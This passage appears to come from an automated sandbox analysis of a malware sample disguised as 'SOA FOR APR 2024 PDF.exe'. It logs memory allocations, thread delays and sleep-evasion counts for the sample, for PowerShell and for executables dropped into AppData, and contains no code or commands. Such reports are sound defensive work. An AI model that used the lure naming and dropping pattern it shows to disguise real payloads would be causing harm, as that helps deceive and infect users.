Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 2C50000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 7510000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 8510000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 86A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 96A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 9D80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: AD80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: BD80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 1C60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 3480000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 1CD0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: CC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 28A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 27F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 6D40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 7D40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 7EC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 8EC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 9580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: A580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: B580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 14F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 31C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Memory allocated: 51C0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199953	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199844	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199719	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199594	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199484	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199356	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199250	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199140	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1199031	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198922	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198813	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198703	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198594	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198484	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198375	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198266	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198156	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1198047	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1197938	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1197813	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1197688	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Thread delayed: delay time: 1197563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1200000
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1199890
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1199781
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1199659
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1199525
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1199415
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1198938
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1197107
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196999
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196890
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196773
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196671
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196562
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196453
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196343
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196234
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196124
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1196014
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195906
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195793
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195687
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195577
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195468
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195359
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195247
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Thread delayed: delay time: 1195140
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199922
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199813
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199688
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199563
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199438
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199329
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199204
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199079
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198954
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198829
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198713
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198597
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198467
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198360
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198249
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198141
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198016
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197891
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197782
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197657
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197532
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197422
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197312
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197203
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199988
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199833
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199703
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199594
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199484
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199375
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199265
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199156
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1199047
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198938
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198813
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198688
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198578
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198469
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198344
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198234
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198125
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1198015
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197906
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197797
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197687
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197578
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Thread delayed: delay time: 1197469

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3200	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5125	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Window / User API: threadDelayed 2742	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Window / User API: threadDelayed 7108	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Window / User API: threadDelayed 2266
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Window / User API: threadDelayed 7588
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window / User API: threadDelayed 2405
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window / User API: threadDelayed 7439
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window / User API: threadDelayed 5115
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Window / User API: threadDelayed 4715

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 2276	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7240	Thread sleep count: 3200 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7436	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7232	Thread sleep count: 152 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7488	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7424	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -99871s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -99646s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -99515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -99406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -99268s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -99140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -99031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -98921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -98812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -98703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -98593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -98484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -98374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -98265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -98133s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -98015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -97796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -97578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -97468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -97359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -97249s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -97135s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -97031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -96921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1199953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1199844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1199719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1199594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1199484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1199356s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1199250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1199140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1199031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1198922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1198813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1198703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1198594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1198484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1198375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1198266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1198156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1198047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1197938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1197813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1197688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe TID: 7652	Thread sleep time: -1197563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7676	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -27670116110564310s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7900	Thread sleep count: 2266 > 30
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -99875s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7900	Thread sleep count: 7588 > 30
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -99765s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -99547s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -99437s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -99328s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -99218s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -99109s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -99000s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -98890s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -98781s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -98672s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -98561s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -98453s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -98344s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -98219s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -98109s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -98000s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -97888s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -97781s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -97670s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -97561s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -97452s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -97343s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1200000s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1199890s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1199781s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1199659s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1199525s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1199415s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1198938s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1197107s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1196999s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1196890s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1196773s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1196671s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1196562s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1196453s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1196343s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1196234s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1196124s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1196014s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1195906s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1195793s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1195687s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1195577s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1195468s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1195359s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1195247s >= -30000s
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe TID: 7896	Thread sleep time: -1195140s >= -30000s
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe TID: 7944	Thread sleep time: -922337203685477s >= -30000s
